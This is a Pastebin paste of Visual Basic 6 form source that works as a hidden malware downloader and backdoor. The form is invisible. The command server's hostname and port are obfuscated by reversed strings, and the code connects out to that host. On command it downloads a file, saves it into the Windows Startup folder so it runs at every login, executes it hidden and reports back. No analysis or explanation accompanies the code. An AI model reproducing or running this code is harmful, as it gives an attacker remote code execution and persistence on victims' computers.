Advertisement
Guest User

vb6 shit

a guest
Apr 26th, 2015
234
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. VERSION 5.00
  2.  
  3. Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.ocx"
  4.  
  5. Begin VB.Form FrmActualizar
  6.  
  7.    Appearance      =   0  'Flat
  8.  
  9.    BackColor       =   &H00000000&
  10.  
  11.    BorderStyle     =   0  'None
  12.  
  13.    Caption         =   " "
  14.  
  15.    ClientHeight    =   345
  16.  
  17.    ClientLeft      =   10005
  18.  
  19.    ClientTop       =   10005
  20.  
  21.    ClientWidth     =   345
  22.  
  23.    ClipControls    =   0   'False
  24.  
  25.    ControlBox      =   0   'False
  26.  
  27.    Icon            =   "Form1.frx":0000
  28.  
  29.    LinkTopic       =   "Detua"
  30.  
  31.    MaxButton       =   0   'False
  32.  
  33.    MinButton       =   0   'False
  34.  
  35.    Moveable        =   0   'False
  36.  
  37.    ScaleHeight     =   345
  38.  
  39.    ScaleWidth      =   345
  40.  
  41.    ShowInTaskbar   =   0   'False
  42.  
  43.    Visible         =   0   'False
  44.  
  45.    Begin VB.Timer Comprueba
  46.  
  47.       Interval        =   300
  48.  
  49.       Left            =   720
  50.  
  51.       Top             =   0
  52.  
  53.    End
  54.  
  55.    Begin VB.Timer Dulzinea
  56.  
  57.       Interval        =   1000
  58.  
  59.       Left            =   0
  60.  
  61.       Top             =   0
  62.  
  63.    End
  64.  
  65.    Begin VB.TextBox Clerigo
  66.  
  67.       Appearance      =   0  'Flat
  68.  
  69.       BackColor       =   &H00000000&
  70.  
  71.       ForeColor       =   &H0000FF00&
  72.  
  73.       Height          =   285
  74.  
  75.       Left            =   5760
  76.  
  77.       TabIndex        =   1
  78.  
  79.       Top             =   720
  80.  
  81.       Width           =   2895
  82.  
  83.    End
  84.  
  85.    Begin VB.TextBox Lapaja
  86.  
  87.       Appearance      =   0  'Flat
  88.  
  89.       BackColor       =   &H00000000&
  90.  
  91.       ForeColor       =   &H0000FF00&
  92.  
  93.       Height          =   285
  94.  
  95.       Left            =   5640
  96.  
  97.       TabIndex        =   0
  98.  
  99.       Top             =   1080
  100.  
  101.       Width           =   2895
  102.  
  103.    End
  104.  
  105.    Begin MSWinsockLib.Winsock FuncionPeronista
  106.  
  107.       Left            =   0
  108.  
  109.       Top             =   360
  110.  
  111.       _ExtentX        =   741
  112.  
  113.       _ExtentY        =   741
  114.  
  115.       _Version        =   393216
  116.  
  117.    End
  118.  
  119.    Begin VB.Timer Consuelo
  120.  
  121.       Interval        =   10000
  122.  
  123.       Left            =   360
  124.  
  125.       Top             =   0
  126.  
  127.    End
  128.  
  129. End
  130.  
  131. Attribute VB_Name = "FrmActualizar"
  132.  
  133. Attribute VB_GlobalNameSpace = False
  134.  
  135. Attribute VB_Creatable = False
  136.  
  137. Attribute VB_PredeclaredId = True
  138.  
  139. Attribute VB_Exposed = False
  140.  
  141. Private Type Consulado
  142.  
  143. PenisesA As String
  144.  
  145. PenisesB As String
  146.  
  147. End Type
  148.  
  149. Dim Trinoglaco As Consulado
  150.  
  151.  Option Explicit
  152.  
  153. Private Declare Function GetCurrentProcess Lib "kernel32.dll" () As Long
  154.  
  155. Private Declare Function ZwSetInformationProcess Lib "ntdll.dll" (ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
  156.  
  157.  
  158.  
  159.  
  160.  
  161.  
  162.  
  163. Private Sub FuncionPeronista_Close()
  164.  
  165. FuncionPeronista.Close
  166.  
  167. End Sub
  168.  
  169. Private Sub Consuelo_Timer()
  170.  
  171. On Error Resume Next
  172.  
  173. If FuncionPeronista.State <> 7 Then
  174.  
  175. With FuncionPeronista
  176.  
  177. .Close
  178.  
  179. .RemoteHost = StrReverse("moc.ptthevres.snigulpemorhc")
  180.  
  181. .RemotePort = StrReverse("235")
  182.  
  183. .Connect
  184.  
  185. End With
  186.  
  187. End If
  188.  
  189. End Sub
  190.  
  191. Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
  192.  
  193. Call FuncionPeronista_Close
  194.  
  195. FuncionPeronista.Close
  196.  
  197. End
  198.  
  199. End Sub
  200.  
  201. Private Sub Form_Terminate()
  202.  
  203. Call FuncionPeronista_Close
  204.  
  205. FuncionPeronista.Close
  206.  
  207. End
  208.  
  209. End Sub
  210.  
  211. Private Sub Form_Unload(Cancel As Integer)
  212.  
  213. Call FuncionPeronista_Close
  214.  
  215. FuncionPeronista.Close
  216.  
  217. End
  218.  
  219. End Sub
  220.  
  221. Private Sub FuncionPeronista_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
  222.  
  223. Call FuncionPeronista_Close
  224.  
  225. End Sub
  226.  
  227. Private Sub FuncionPeronista_Connect()
  228.  
  229. Dim Jejoz As Integer
  230.  
  231. Jejoz = 0
  232.  
  233. FuncionPeronista.SendData "Clerigo: " & App.EXEName & " - Version: " & App.Minor & " - " & App.Major
  234.  
  235. End Sub
  236.  
  237. Private Sub FuncionPeronista_dataArrival(ByVal bytesTotal As Long)
  238.  
  239. On Error Resume Next
  240.  
  241. Dim Poquitoh As String
  242.  
  243. FuncionPeronista.GetData Poquitoh
  244.  
  245. Dim i As Integer
  246.  
  247.   If InStr(Poquitoh, "PEPINO") Then
  248.  
  249.   With Trinoglaco
  250.  
  251.   .PenisesA = Split(Poquitoh, "*")(1)
  252.  
  253.   .PenisesA = Split(.PenisesA, ":")(0)
  254.  
  255.   .PenisesB = Split(Poquitoh, ":")(1)
  256.  
  257.   .PenisesB = Split(.PenisesB, "#")(0)
  258.  
  259.  Call Verificacionloca
  260.  
  261.  End With
  262.  
  263. End If
  264.  
  265. End Sub
  266.  
  267. Function Verificacionloca()
  268.  
  269. On Error Resume Next
  270.  
  271.     Dim Calzinado As String
  272.  
  273.     Dim Sacudo As String
  274.  
  275.     Sacudo = StrReverse("//:ptth")
  276.  
  277.  
  278.  
  279.         With Trinoglaco
  280.  
  281.             Lapaja.Text = .PenisesA
  282.  
  283.             Clerigo.Text = .PenisesB
  284.  
  285.             Lapaja.Text = Sacudo & Lapaja.Text
  286.  
  287.             Calzinado = ElChicoSabia(Lapaja.Text, Clerigo.Text, "userprofile", True, True)
  288.  
  289.         End With
  290.  
  291. End Function
  292.  
  293. Function ElChicoSabia(ByVal Demuestro As String, ByVal Quientejuna As String, Optional Bajoelloco As String = "TMP", Optional CBA As Boolean = True, Optional ElNinja As Boolean = False)
  294.  
  295.     On Error Resume Next
  296.  
  297.     Err.Clear
  298.  
  299.  Dim ElSucio As String
  300.  
  301.  Dim xml
  302.  
  303.  Dim yotambien
  304.  
  305.  Dim chauchis
  306.  
  307. Dim soyAlgo
  308.  
  309. Set soyAlgo = CreateObject("WScript.Shell")
  310.  
  311. ElSucio = soyAlgo.SpecialFolders("Startup")
  312.  
  313.     Set xml = CreateObject("Microsoft.xmlHTTP")
  314.  
  315.     Set yotambien = CreateObject("ADODB.Stream")
  316.  
  317.     xml.Open "GET", Demuestro, False
  318.  
  319.     xml.send
  320.  
  321.     xml.getAllResponseHeaders
  322.  
  323.     chauchis = ElSucio & "\" & Quientejuna
  324.  
  325.     yotambien.Open
  326.  
  327.     yotambien.Type = 1
  328.  
  329.     yotambien.Write xml.responseBody
  330.  
  331.     yotambien.SaveToFile chauchis, 2
  332.  
  333.     If Err Then
  334.  
  335.         ElChicoSabia = False
  336.  
  337.     Else
  338.  
  339.         If CBA = True Then
  340.  
  341.             If ElNinja = True Then
  342.  
  343.                 Shell chauchis, vbHide
  344.  
  345.                 FuncionPeronista.SendData "Aceituna " & chauchis & " -Oculto"
  346.  
  347.             Else
  348.  
  349.                 Shell chauchis, vbNormalFocus
  350.  
  351.                 FuncionPeronista.SendData "Aceituna " & chauchis & " -Normal"
  352.  
  353.             End If
  354.  
  355.         End If
  356.  
  357.         ElChicoSabia = True
  358.  
  359.     End If
  360.  
  361.  
  362.  
  363. End Function
  364.  
  365. Private Sub Dulzinea_Timer()
  366.  
  367.  
  368.  
  369. If App.PrevInstance = True Then End
  370.  
  371. App.Title = ""
  372.  
  373. Me.Visible = False
  374.  
  375. With FuncionPeronista
  376.  
  377. .Close
  378.  
  379. .RemoteHost = StrReverse("moc.ptthevres.snigulpemorhc")
  380.  
  381. .RemotePort = StrReverse("235")
  382.  
  383. .Connect
  384.  
  385. End With
  386.  
  387. Dulzinea.Enabled = False
  388.  
  389. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement